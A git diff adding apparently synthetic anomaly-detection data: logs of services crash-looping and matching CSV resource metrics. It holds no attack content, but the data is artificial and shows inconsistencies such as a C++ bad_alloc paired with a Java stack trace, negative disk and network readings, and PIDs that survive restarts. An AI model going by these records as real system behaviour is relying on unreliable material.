+Jul 15 14:00:10 cron[9123]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:00:15 data-processor[10101]: INFO: Processing batch #500... +Jul 15 14:00:17 kernel: [ 123.456789] usb 1-1: new high-speed USB device number 2 using ehci_hcd +Jul 15 14:00:25 data-processor[10101]: FATAL: Unhandled exception: NullPointerException at com.example.Processor.process(Processor.java:152) +Jul 15 14:00:25 data-processor[10101]: stack trace: java.lang.NullPointerException +Jul 15 14:00:25 data-processor[10101]: at com.example.Processor.process(Processor.java:152) +Jul 15 14:00:25 data-processor[10101]: at com.example.Main.run(Main.java:45) +Jul 15 14:00:25 data-processor[10101]: at java.lang.Thread.run(Thread.java:748) +Jul 15 14:00:30 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:00:30 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 15 14:00:35 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 15 14:00:35 systemd[1]: Started Data Processor Service. +Jul 15 14:01:05 data-processor[10101]: INFO: Starting data processing service version 2.1.3... +Jul 15 14:01:15 data-processor[10101]: INFO: Processing batch #501... +Jul 15 14:01:25 data-processor[10101]: FATAL: Unhandled exception: NullPointerException at com.example.Processor.process(Processor.java:152) +Jul 15 14:01:25 data-processor[10101]: stack trace: java.lang.NullPointerException +Jul 15 14:01:25 data-processor[10101]: at com.example.Processor.process(Processor.java:152) +Jul 15 14:01:25 data-processor[10101]: at com.example.Main.run(Main.java:45) +Jul 15 14:01:25 data-processor[10101]: at java.lang.Thread.run(Thread.java:748) +Jul 15 14:01:30 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:01:30 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 15 14:01:35 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 15 14:01:35 systemd[1]: Started Data Processor Service. +Jul 15 14:02:05 data-processor[10101]: INFO: Starting data processing service version 2.1.3... +Jul 15 14:02:15 data-processor[10101]: INFO: Processing batch #502... +Jul 15 14:02:25 data-processor[10101]: FATAL: Unhandled exception: NullPointerException at com.example.Processor.process(Processor.java:152) +Jul 15 14:02:25 data-processor[10101]: stack trace: java.lang.NullPointerException +Jul 15 14:02:25 data-processor[10101]: at com.example.Processor.process(Processor.java:152) +Jul 15 14:02:25 data-processor[10101]: at com.example.Main.run(Main.java:45) +Jul 15 14:02:25 data-processor[10101]: at java.lang.Thread.run(Thread.java:748) +Jul 15 14:02:30 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:02:30 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 15 14:02:30 kernel: [ 273.135792] audit: type=1400 audit(1721023350.123:45): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" +Jul 15 14:02:35 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 15 14:02:35 systemd[1]: Started Data Processor Service. +Jul 15 14:03:05 data-processor[10101]: INFO: Starting data processing service version 2.1.3... +Jul 15 14:03:15 data-processor[10101]: INFO: Processing batch #503... +Jul 15 14:03:25 data-processor[10101]: FATAL: Unhandled exception: NullPointerException at com.example.Processor.process(Processor.java:152) +Jul 15 14:03:25 data-processor[10101]: stack trace: java.lang.NullPointerException +Jul 15 14:03:25 data-processor[10101]: at com.example.Processor.process(Processor.java:152) +Jul 15 14:03:25 data-processor[10101]: at com.example.Main.run(Main.java:45) +Jul 15 14:03:25 data-processor[10101]: at java.lang.Thread.run(Thread.java:748) +Jul 15 14:03:30 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:03:30 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 15 14:03:35 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 15 14:03:35 systemd[1]: Started Data Processor Service. +Jul 15 14:04:05 data-processor[10101]: INFO: Starting data processing service version 2.1.3... +Jul 15 14:04:15 data-processor[10101]: INFO: Processing batch #504... +Jul 15 14:04:25 data-processor[10101]: FATAL: Unhandled exception: NullPointerException at com.example.Processor.process(Processor.java:152) +Jul 15 14:04:25 data-processor[10101]: stack trace: java.lang.NullPointerException +Jul 15 14:04:25 data-processor[10101]: at com.example.Processor.process(Processor.java:152) +Jul 15 14:04:25 data-processor[10101]: at com.example.Main.run(Main.java:45) +Jul 15 14:04:25 data-processor[10101]: at java.lang.Thread.run(Thread.java:748) +Jul 15 14:04:30 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:04:30 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 15 14:04:35 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 15 14:04:35 systemd[1]: Started Data Processor Service. +Jul 15 14:05:00 systemd[1]: Starting Clean up of old session data... +Jul 15 14:05:05 data-processor[10101]: INFO: Starting data processing service version 2.1.3... +Jul 15 14:05:05 systemd[1]: Finished Clean up of old session data. +Jul 15 14:05:15 data-processor[10101]: INFO: Processing batch #505... +Jul 15 14:05:25 data-processor[10101]: FATAL: Unhandled exception: NullPointerException at com.example.Processor.process(Processor.java:152) +Jul 15 14:05:25 data-processor[10101]: stack trace: java.lang.NullPointerException +Jul 15 14:05:25 data-processor[10101]: at com.example.Processor.process(Processor.java:152) +Jul 15 14:05:25 data-processor[10101]: at com.example.Main.run(Main.java:45) +Jul 15 14:05:25 data-processor[10101]: at java.lang.Thread.run(Thread.java:748) +Jul 15 14:05:30 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:05:30 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 15 14:05:35 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 15 14:05:35 systemd[1]: Started Data Processor Service. +Jul 15 14:06:05 data-processor[10101]: INFO: Starting data processing service version 2.1.3... +Jul 15 14:06:15 data-processor[10101]: INFO: Processing batch #506... +Jul 15 14:06:25 data-processor[10101]: FATAL: Unhandled exception: NullPointerException at com.example.Processor.process(Processor.java:152) +Jul 15 14:06:25 data-processor[10101]: stack trace: java.lang.NullPointerException +Jul 15 14:06:25 data-processor[10101]: at com.example.Processor.process(Processor.java:152) +Jul 15 14:06:25 data-processor[10101]: at com.example.Main.run(Main.java:45) +Jul 15 14:06:25 data-processor[10101]: at java.lang.Thread.run(Thread.java:748) +Jul 15 14:06:30 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:06:30 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 15 14:06:35 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 15 14:06:35 systemd[1]: Started Data Processor Service. diff --git a/anom_dataset/scenario_11/anom_11_6.csv b/anom_dataset/scenario_11/anom_11_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..79254f31dbef77805905b096011c70d8038cf7ed --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_6.csv 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HTTP/1.1 200 OK +Aug 15 14:00:35 kubelet[2345]: INFO Liveness probe for pod 'nginx-1' succeeded. +Aug 15 14:00:50 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 14:01:10 kubelet[2345]: INFO Liveness probe for pod 'nginx-1' succeeded. +Aug 15 14:02:05 web-app[888]: FATAL: unhandled exception: std::bad_alloc +Aug 15 14:02:05 web-app[888]: CRITICAL: Memory allocation failed. Shutting down. +Aug 15 14:02:05 web-app[888]: STACK TRACE: at com.example.service.DataProcessor.run(DataProcessor.java:152) +Aug 15 14:02:05 web-app[888]: at java.lang.Thread.run(Thread.java:833) +Aug 15 14:02:10 systemd[1]: web-app.service: Main process exited, code=exited, status=137/MEMORY +Aug 15 14:02:10 systemd[1]: web-app.service: Failed with result 'exit-code'. +Aug 15 14:02:15 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 14:02:35 systemd[1]: Started Unstable Web Service. +Aug 15 14:02:35 web-app[1147]: INFO: Service process started, initializing data models. +Aug 15 14:04:35 web-app[1998]: FATAL: unhandled exception: std::bad_alloc +Aug 15 14:04:35 web-app[1998]: CRITICAL: Memory allocation failed. Shutting down. +Aug 15 14:04:35 web-app[1998]: STACK TRACE: at com.example.service.DataProcessor.run(DataProcessor.java:152) +Aug 15 14:04:35 web-app[1998]: at java.lang.Thread.run(Thread.java:833) +Aug 15 14:04:40 systemd[1]: web-app.service: Main process exited, code=exited, status=137/MEMORY +Aug 15 14:04:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Aug 15 14:04:45 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 15 14:05:05 systemd[1]: Started Unstable Web Service. +Aug 15 14:05:05 web-app[2257]: INFO: Service process started, initializing data models. +Aug 15 14:07:05 web-app[3108]: FATAL: unhandled exception: std::bad_alloc +Aug 15 14:07:05 web-app[3108]: CRITICAL: Memory allocation failed. Shutting down. +Aug 15 14:07:05 web-app[3108]: STACK TRACE: at com.example.service.DataProcessor.run(DataProcessor.java:152) +Aug 15 14:07:05 web-app[3108]: at java.lang.Thread.run(Thread.java:833) +Aug 15 14:07:10 systemd[1]: web-app.service: Main process exited, code=exited, status=137/MEMORY +Aug 15 14:07:10 systemd[1]: web-app.service: Failed with result 'exit-code'. +Aug 15 14:07:15 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. diff --git a/anom_dataset/scenario_11/anom_11_7.csv b/anom_dataset/scenario_11/anom_11_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..9994c2e813dfc72911ea2b1977f51ab32494aacf --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,10.993428306022466,35.29123264804412,16.251334695530012,0.4873063073132356,0.8531211135782482 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+2025-07-15T14:07:25Z,77.69320153289338,99.82717416643553,31.928147821238852,2.377596696311845,2.3033702026320197 diff --git a/anom_dataset/scenario_11/anom_11_7.log b/anom_dataset/scenario_11/anom_11_7.log new file mode 100644 index 0000000000000000000000000000000000000000..4086e7a6648ff9acedf65136b9bff2841d6cc61b --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_7.log @@ -0,0 +1,85 @@ +Jul 15 14:00:00 CRON[1830]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Jul 15 14:00:00 systemd[1]: Starting session-0.scope. +Jul 15 14:00:00 systemd[1]: Started Web Application Service. +Jul 15 14:00:00 web-app[210]: INFO: Starting application version 2.1.3... +Jul 15 14:00:01 web-app[210]: INFO: Database connection pool initialized. +Jul 15 14:00:40 systemd[1]: Starting session-8.scope. +Jul 15 14:00:44 web-app[214]: FATAL: Unhandled OutOfMemoryError: Java heap space +Jul 15 14:00:44 web-app[214]: at com.example.service.DataProcessor.process(DataProcessor.java:152) +Jul 15 14:00:44 web-app[214]: at com.example.controller.MainController.handleRequest(MainController.java:88) +Jul 15 14:00:44 web-app[214]: ... 34 more +Jul 15 14:00:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:00:56 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 1. +Jul 15 14:01:00 systemd[1]: Started Web Application Service. +Jul 15 14:01:00 web-app[2112]: INFO: Starting application version 2.1.3... +Jul 15 14:01:01 web-app[2112]: INFO: Database connection pool initialized. +Jul 15 14:01:05 CRON[18313]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Jul 15 14:01:20 systemd[1]: Starting session-16.scope. +Jul 15 14:01:44 web-app[2116]: FATAL: Unhandled OutOfMemoryError: Java heap space +Jul 15 14:01:44 web-app[2116]: at com.example.service.DataProcessor.process(DataProcessor.java:152) +Jul 15 14:01:44 web-app[2116]: at com.example.controller.MainController.handleRequest(MainController.java:88) +Jul 15 14:01:44 web-app[2116]: ... 34 more +Jul 15 14:01:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:01:56 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 15 14:02:00 systemd[1]: Starting session-24.scope. +Jul 15 14:02:00 systemd[1]: Started Web Application Service. +Jul 15 14:02:00 web-app[2124]: INFO: Starting application version 2.1.3... +Jul 15 14:02:01 web-app[2124]: INFO: Database connection pool initialized. +Jul 15 14:02:10 CRON[18326]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Jul 15 14:02:40 systemd[1]: Starting session-32.scope. +Jul 15 14:02:44 web-app[2128]: FATAL: Unhandled OutOfMemoryError: Java heap space +Jul 15 14:02:44 web-app[2128]: at com.example.service.DataProcessor.process(DataProcessor.java:152) +Jul 15 14:02:44 web-app[2128]: at com.example.controller.MainController.handleRequest(MainController.java:88) +Jul 15 14:02:44 web-app[2128]: ... 34 more +Jul 15 14:02:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:02:56 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 3. +Jul 15 14:03:00 systemd[1]: Started Web Application Service. +Jul 15 14:03:00 web-app[2136]: INFO: Starting application version 2.1.3... +Jul 15 14:03:01 web-app[2136]: INFO: Database connection pool initialized. +Jul 15 14:03:15 CRON[18339]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Jul 15 14:03:20 systemd[1]: Starting session-40.scope. +Jul 15 14:03:44 web-app[2140]: FATAL: Unhandled OutOfMemoryError: Java heap space +Jul 15 14:03:44 web-app[2140]: at com.example.service.DataProcessor.process(DataProcessor.java:152) +Jul 15 14:03:44 web-app[2140]: at com.example.controller.MainController.handleRequest(MainController.java:88) +Jul 15 14:03:44 web-app[2140]: ... 34 more +Jul 15 14:03:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:03:56 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 4. +Jul 15 14:04:00 systemd[1]: Starting session-48.scope. +Jul 15 14:04:00 systemd[1]: Started Web Application Service. +Jul 15 14:04:00 web-app[2148]: INFO: Starting application version 2.1.3... +Jul 15 14:04:01 web-app[2148]: INFO: Database connection pool initialized. +Jul 15 14:04:20 CRON[18352]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Jul 15 14:04:40 systemd[1]: Starting session-56.scope. +Jul 15 14:04:44 web-app[2152]: FATAL: Unhandled OutOfMemoryError: Java heap space +Jul 15 14:04:44 web-app[2152]: at com.example.service.DataProcessor.process(DataProcessor.java:152) +Jul 15 14:04:44 web-app[2152]: at com.example.controller.MainController.handleRequest(MainController.java:88) +Jul 15 14:04:44 web-app[2152]: ... 34 more +Jul 15 14:04:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:04:56 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 15 14:05:00 systemd[1]: Started Web Application Service. +Jul 15 14:05:00 web-app[2160]: INFO: Starting application version 2.1.3... +Jul 15 14:05:01 web-app[2160]: INFO: Database connection pool initialized. +Jul 15 14:05:20 systemd[1]: Starting session-64.scope. +Jul 15 14:05:25 CRON[18365]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Jul 15 14:05:44 web-app[2164]: FATAL: Unhandled OutOfMemoryError: Java heap space +Jul 15 14:05:44 web-app[2164]: at com.example.service.DataProcessor.process(DataProcessor.java:152) +Jul 15 14:05:44 web-app[2164]: at com.example.controller.MainController.handleRequest(MainController.java:88) +Jul 15 14:05:44 web-app[2164]: ... 34 more +Jul 15 14:05:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:05:56 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 6. +Jul 15 14:06:00 systemd[1]: Starting session-72.scope. +Jul 15 14:06:00 systemd[1]: Started Web Application Service. +Jul 15 14:06:00 web-app[2172]: INFO: Starting application version 2.1.3... +Jul 15 14:06:01 web-app[2172]: INFO: Database connection pool initialized. +Jul 15 14:06:30 CRON[18378]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Jul 15 14:06:40 systemd[1]: Starting session-80.scope. +Jul 15 14:06:44 web-app[2176]: FATAL: Unhandled OutOfMemoryError: Java heap space +Jul 15 14:06:44 web-app[2176]: at com.example.service.DataProcessor.process(DataProcessor.java:152) +Jul 15 14:06:44 web-app[2176]: at com.example.controller.MainController.handleRequest(MainController.java:88) +Jul 15 14:06:44 web-app[2176]: ... 34 more +Jul 15 14:06:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 15 14:06:56 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 7. +Jul 15 14:07:00 systemd[1]: Started Web Application Service. +Jul 15 14:07:00 web-app[2184]: INFO: Starting application version 2.1.3... +Jul 15 14:07:01 web-app[2184]: INFO: Database connection pool initialized. +Jul 15 14:07:20 systemd[1]: Starting session-88.scope. diff --git a/anom_dataset/scenario_11/anom_11_8.csv b/anom_dataset/scenario_11/anom_11_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..11b12342608e50f04fa129ebf8c405d3f842cd2c --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,11.75,18.4,25.1,1.53,1.17 +2025-08-22T10:00:05Z,26.71,24.8,32.47,2.02,1.18 +2025-08-22T10:00:10Z,52.02,31.28,15.1,0.7,0.69 +2025-08-22T10:00:15Z,70.45,46.74,3.68,0.36,0.45 +2025-08-22T10:00:20Z,72.29,47.81,2.46,0.35,0.05 +2025-08-22T10:00:25Z,74.93,55.3,0.59,0.2,0.1 +2025-08-22T10:00:30Z,77.3,56.6,2.18,0.12,0.35 +2025-08-22T10:00:35Z,81.69,64.44,5.92,0.18,0.09 +2025-08-22T10:00:40Z,92.48,71.43,-0.36,0.31,0.11 +2025-08-22T10:00:45Z,91.23,79.85,1.87,0.14,0.24 +2025-08-22T10:00:50Z,98.72,89.51,-0.4,0.08,-0.05 +2025-08-22T10:00:55Z,4.43,12.0,0.38,-0.03,-0.14 +2025-08-22T10:01:00Z,0.0,10.0,-0.44,-0.01,0.15 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0000000000000000000000000000000000000000..fb08e926368e8b508d419acdbf7f9eaffd974099 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_8.log @@ -0,0 +1,51 @@ +Aug 22 10:00:50 app-server[15042]: FATAL: critical error in processing module: segmentation fault (core dumped) +Aug 22 10:00:50 app-server[15042]: STACK TRACE: + 0x00007f8b8a8b1b90 in ?? () + 0x00007f8b8a8b1c41 in ?? () + 0x000055d7b5a8e2d2 in main () +Aug 22 10:00:55 systemd[1]: app-server.service: Main process exited, code=dumped, status=11/SEGV +Aug 22 10:01:00 systemd[1]: app-server.service: Service RestartSec=5s expired, scheduling restart. +Aug 22 10:01:25 systemd[1]: Started app-server. +Aug 22 10:02:00 kubelet[15218]: INFO: Successfully probed container metrics-collector +Aug 22 10:02:15 systemd[1]: Starting Clean php session files... +Aug 22 10:02:20 app-server[15042]: FATAL: critical error in processing module: segmentation fault (core dumped) +Aug 22 10:02:20 app-server[15042]: STACK TRACE: + 0x00007f8b8a8b1b90 in ?? () + 0x00007f8b8a8b1c41 in ?? () + 0x000055d7b5a8e2d2 in main () +Aug 22 10:02:25 systemd[1]: app-server.service: Main process exited, code=dumped, status=11/SEGV +Aug 22 10:02:30 systemd[1]: app-server.service: Service RestartSec=5s expired, scheduling restart. +Aug 22 10:02:55 systemd[1]: Started app-server. +Aug 22 10:03:40 kernel: [1345.123456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 22 10:03:50 app-server[15042]: FATAL: critical error in processing module: segmentation fault (core dumped) +Aug 22 10:03:50 cron[13392]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 10:03:50 app-server[15042]: STACK TRACE: + 0x00007f8b8a8b1b90 in ?? () + 0x00007f8b8a8b1c41 in ?? () + 0x000055d7b5a8e2d2 in main () +Aug 22 10:03:55 systemd[1]: app-server.service: Main process exited, code=dumped, status=11/SEGV +Aug 22 10:03:55 cron[20995]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 10:04:00 systemd[1]: app-server.service: Service RestartSec=5s expired, scheduling restart. +Aug 22 10:04:25 systemd[1]: Started app-server. +Aug 22 10:05:20 app-server[15042]: FATAL: critical error in processing module: segmentation fault (core dumped) +Aug 22 10:05:20 kernel: [1345.123456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 22 10:05:20 app-server[15042]: STACK TRACE: + 0x00007f8b8a8b1b90 in ?? () + 0x00007f8b8a8b1c41 in ?? () + 0x000055d7b5a8e2d2 in main () +Aug 22 10:05:25 systemd[1]: app-server.service: Main process exited, code=dumped, status=11/SEGV +Aug 22 10:05:30 systemd[1]: app-server.service: Service RestartSec=5s expired, scheduling restart. +Aug 22 10:05:35 cron[13258]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 10:05:50 cron[18743]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 22 10:05:55 systemd[1]: Started app-server. +Aug 22 10:05:55 nginx[23907]: GET /healthz HTTP/1.1 200 OK +Aug 22 10:06:50 app-server[15042]: FATAL: critical error in processing module: segmentation fault (core dumped) +Aug 22 10:06:50 app-server[15042]: STACK TRACE: + 0x00007f8b8a8b1b90 in ?? () + 0x00007f8b8a8b1c41 in ?? () + 0x000055d7b5a8e2d2 in main () +Aug 22 10:06:55 systemd[1]: app-server.service: Main process exited, code=dumped, status=11/SEGV +Aug 22 10:07:00 systemd[1]: app-server.service: Service RestartSec=5s expired, scheduling restart. +Aug 22 10:07:10 systemd[1]: Starting Clean php session files... +Aug 22 10:07:25 systemd[1]: Started app-server. +Aug 22 10:07:25 cron[16286]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_11/anom_11_9.csv b/anom_dataset/scenario_11/anom_11_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..bf98c3f6cd0d7ffdc775e2c26d539b39cc96947a --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-11T10:00:00Z,17.9866286890852,26.109283027999624,5.955481619932941,0.8617559977135921,0.836738948041068 +2025-07-11T10:00:05Z,35.234266412852435,39.71343205465816,11.980420002434354,1.348707244919822,1.5463058615680192 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+2025-07-11T10:07:20Z,62.95544130776161,67.35543362326172,4.895975855234575,0.8400972871167026,1.467364200872803 +2025-07-11T10:07:25Z,73.75485302887336,67.72133238278103,4.789475495784707,0.6052041490767635,1.3042271187316965 diff --git a/anom_dataset/scenario_11/anom_11_9.log b/anom_dataset/scenario_11/anom_11_9.log new file mode 100644 index 0000000000000000000000000000000000000000..18193e8dd5cc3949af28e4a3cb1209a36cc6eef6 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_9.log @@ -0,0 +1,33 @@ +Jul 11 10:00:00 CRON[PID_REDACTED]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:00:00 systemd[1]: Service my-app.service is respawning. +Jul 11 10:00:40 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:01:00 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:01:20 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:01:25 my-app[PID_REDACTED]: FATAL: unhandled exception: segmentation fault +Jul 11 10:01:25 my-app[PID_REDACTED]: stack trace: 0x55a2c3b1d000 0x7f4a0c8b4000 0x7f4a0c8b40c2 +Jul 11 10:01:30 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:01:40 systemd[1]: Service my-app.service is respawning. +Jul 11 10:02:20 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:02:30 CRON[PID_REDACTED]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:02:40 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:03:00 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:03:05 my-app[PID_REDACTED]: FATAL: unhandled exception: segmentation fault +Jul 11 10:03:05 my-app[PID_REDACTED]: stack trace: 0x55a2c3b1d000 0x7f4a0c8b4000 0x7f4a0c8b40c2 +Jul 11 10:03:10 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:03:20 systemd[1]: Service my-app.service is respawning. +Jul 11 10:04:00 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:04:20 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:04:40 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:04:45 my-app[PID_REDACTED]: FATAL: unhandled exception: segmentation fault +Jul 11 10:04:45 my-app[PID_REDACTED]: stack trace: 0x55a2c3b1d000 0x7f4a0c8b4000 0x7f4a0c8b40c2 +Jul 11 10:04:50 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:05:00 CRON[PID_REDACTED]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:05:00 systemd[1]: Service my-app.service is respawning. +Jul 11 10:05:40 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:06:00 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:06:20 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK +Jul 11 10:06:25 my-app[PID_REDACTED]: FATAL: unhandled exception: segmentation fault +Jul 11 10:06:25 my-app[PID_REDACTED]: stack trace: 0x55a2c3b1d000 0x7f4a0c8b4000 0x7f4a0c8b40c2 +Jul 11 10:06:30 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:06:40 systemd[1]: Service my-app.service is respawning. +Jul 11 10:07:20 my-app[PID_REDACTED]: INFO: GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_12/anom_12_1.csv b/anom_dataset/scenario_12/anom_12_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..c11d1c2766b57014af3acac3ebf7c95d743fd48f --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,23.08105163773259,47.075367272044666,12.410971687069248,0.8132774054411458,2.2452572575020127 +2025-08-15T10:00:05Z,17.86920779302913,48.02677819868844,46.58229986863583,0.7992887645811104,0.8927153100276747 +2025-08-15T10:00:10Z,17.06534384393608,45.972587079197226,10.877368450762273,1.879272920270706,1.9368810136023038 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0000000000000000000000000000000000000000..f87c3645ec7d7cd6b4954985bb0f274673fcd41d --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_1.log @@ -0,0 +1,28 @@ +Aug 15 10:00:00 systemd[1]: Started Session 12 of user admin. +Aug 15 10:00:18 database[543]: INFO: Query executed successfully, 25 rows returned. +Aug 15 10:00:34 web-app[1122]: INFO: Request to external service http://partner-api/status returned 200. +Aug 15 10:00:48 web-app[1122]: INFO: Processing request GET /api/v1/data. +Aug 15 10:00:57 systemd[1]: Started Session 17 of user admin. +Aug 15 10:01:06 cron[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:01:23 web-app[1122]: INFO: Request to external service http://partner-api/status returned 200. +Aug 15 10:01:38 web-app[1122]: INFO: Data processing job completed in 1.85 seconds. +Aug 15 10:01:45 database[543]: INFO: Query executed successfully, 25 rows returned. +Aug 15 10:01:52 web-app[1122]: INFO: Data processing job completed in 1.73 seconds. +Aug 15 10:02:11 cron[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:24 cron[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:34 cron[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:41 cron[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:58 cron[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:03:06 web-app[1122]: INFO: Request to external service http://partner-api/status returned 200. +Aug 15 10:03:14 web-app[1122]: INFO: User authentication successful for user "testuser". +Aug 15 10:03:25 web-app[1122]: INFO: Data processing job completed in 1.80 seconds. +Aug 15 10:03:31 systemd[1]: Started Session 11 of user admin. +Aug 15 10:03:46 web-app[1122]: INFO: Processing request GET /api/v1/data. +Aug 15 10:04:04 web-app[1122]: INFO: Processing request GET /api/v1/data. +Aug 15 10:04:15 web-app[1122]: INFO: Processing request GET /api/v1/data. +Aug 15 10:04:33 cron[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:39 web-app[1122]: INFO: Processing request GET /api/v1/data. +Aug 15 10:04:46 cron[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:55 web-app[1122]: INFO: Data processing job completed in 1.90 seconds. +Aug 15 10:06:15 CRON[15234]: (root) CMD (check-system-health) +Aug 15 10:07:15 health-checker[15301]: ERROR: Liveness probe failed for service web-app: request timed out after 30s. diff --git a/anom_dataset/scenario_12/anom_12_10.csv b/anom_dataset/scenario_12/anom_12_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..5c74f0d2ee6d54ab2cea2c699a2702c351b86056 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-12T10:00:00Z,18.45,44.32,47.34,1.07,0.75 